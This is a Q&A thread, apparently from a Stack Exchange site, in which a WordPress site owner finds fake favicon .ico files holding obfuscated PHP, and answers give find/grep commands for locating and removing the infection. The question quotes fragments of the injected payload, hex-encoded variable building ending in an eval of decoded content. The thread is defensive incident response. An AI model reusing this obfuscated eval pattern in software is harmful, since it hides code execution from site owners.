Files are unexpectedly appearing on one of my shared web servers. They can appear in pretty much hundreds of directories and they are always called something like favicon_1166f9.ico. The first 6 characters are always favico and the extension is always ico. Although these are not icons and cannot be opened by an image viewer.

Five days ago I did a clean sweep and deleted hundreds of these files yet I just found two. I noticed some on the server before but thought it was just corruption from uploading a favicon but obviously this is not the case. The site actually as one favicon.ico in just the home dir and is working fine.

What could be causing these files to keep appearing? Is the site hacked?

UPDATE 1: Starting to really look like a hack. Here is the partial content being inserted:

$c6d81c6 = 607;$GLOBALS['g1aff67e']=Array();global$g1aff67e;$g1aff67e=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['h21842aa7']="\x59\x2f\x6c\x45\x75\x44\x7a\x6f\x68\x2a\x53\x74\x73\x51\x48\x72\x26\x21\x25\x67\x28\x70\x55\x7c\xa\x76\x35\x60\x52\x43\x65\x3d\x4d\x71\x4f\x32\x31\x7e\x34\x20\x5a\x41\x2e\x2c\x3b\x9\x30\x6a\x57\x6e\x3f

And it goes on for 7K ending in:

[91].$g1aff67e['h21842aa7'][38].$g1aff67e['h21842aa7'][36].$g1aff67e['h21842aa7'][57].$g1aff67e['h21842aa7'][36].$g1aff67e['h21842aa7'][66].$g1aff67e['h21842aa7'][38]]($b7ce1c0db)==3){eval/*v3f8d8*/($b7ce1c0db[1]($b7ce1c0db[2]));exit();}}} ?>

Note that the last part is an eval of whatever the rest is.

UPDATE 2: This StackOverflow question shows someone with the same problem.

There is accepted answer but the proposed solution is to disable all POST requests which will not be possible here given this is a WordPress site and there are other parts using POST too (although not many but they are necessary).

Given this information it seems that this is an attack and not virus which is probably why a virus scan turned out nothing.

The question now is: How do I prevent this attack from working? If that is in fact what is going on.

  • This is a shared server running Apache and Wordpress. Other users might be running other CMS but on my side, that's it. No cron jobs from me either. It is really random so far.
    – Itai
    Commented Feb 6, 2018 at 23:07
  • it may be worth checking if your website container/folders have recommended permissions too. If another website being hosted on the server is compromised, and generating the .ico files, it would only be able to save those in your domain/account-specific file structure if it has root access to the server, super user access to your account, or if the folders for your website container have lax permissions. Commented Feb 7, 2018 at 2:58
  • 1
    I would be most definitely running a virus scan on the account. I have found that hacked wordpress accounts often have a payload in .ico files. I will be surprised if you don't find other infected files. If you have SSH access, to find files that have changed in the last 24 hours sudo find ./ -mtime -1 -ls
    – Steve
    Commented Feb 7, 2018 at 5:56
  • Try to view one of the ico files with a text editor and share the content here if it is at all intelligible. I'd also advise posting a list of your plugins here, as I would think one of them might be doing this. Commented Feb 7, 2018 at 7:19
  • @Steve - That is what I suspect, they the ico files are payload. It's all binary and even the Unix file command failed to identify any one I tried with. I an do a scan on my copy of the account but I don't thinks it is possible on the shared host.
    – Itai
    Commented Feb 7, 2018 at 14:42

2 Answers 2


EDITED: This is a known php hack. If your server runs Wordpress only, plugins like Wordfence can detect and clean the infected files but if you have other php applications it will take other steps. I ran Maldet and did'n work.

It injects or modifies index.php files which call an .ico file, also creates random named .php files

The cause can be many including unprotected form POST operations. Always use secure forms with recaptcha. Your system is definitely hacked, but copying your files to a new OS will probably copy the infected code as well.

Workarounds to cleanup the infected files

ico files

Using ssh find all .ico files from the html root:

find -name "*.ico"

remove those with random characters before the .ico extension

index.php files

They use to call the infected file using an @include on an index.php file. To find compromised index.php files I found this way much faster than pure grep command:

find -name index.php -exec grep -rnwl '@include ' {} \;

Remove the malicious code if the rest of the file is original or simply trash it if it is created by this malicious attack.

Random .php files

They use random names, in cli you can find same patterns alike. In my case the files were 8 characters long before .php having a substring function to create names, so I could find them like this:

find -name '????????.php' -exec grep -rnwl 'substr(md5(time()), 0, 8)' {} \;


You can use diff to find differences with original stuff in place or using svn, git.

diff -qr directory-1/ directory-2/
  • 1
    Simply 'git status' is sufficient to see all the differences. See my answer for how to prevent it from happenings again, otherwise this doesn't end there and you keep having to repeat the procedure you clearly described here.
    – Itai
    Commented Oct 22, 2020 at 20:49
  • Blocking POST is not an option in many applications, if you accept comments in your site voila. Secure forms and avoid unknown/abandoned/low rated plugins can help. Commented Oct 22, 2020 at 21:48

This is an attack targeting a PHP vulnerability with POST requests.

The attacker somehow manages to change existing PHP files with an @include statement using an encoded path that translates into one to these .ico files which are self-decrypting PHP files calling an external script from another server.

Blocking POST requests works so far. Although that is only possible for sites that do not depend on external POST requests. This can be done in the .htaccess file as explained here.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.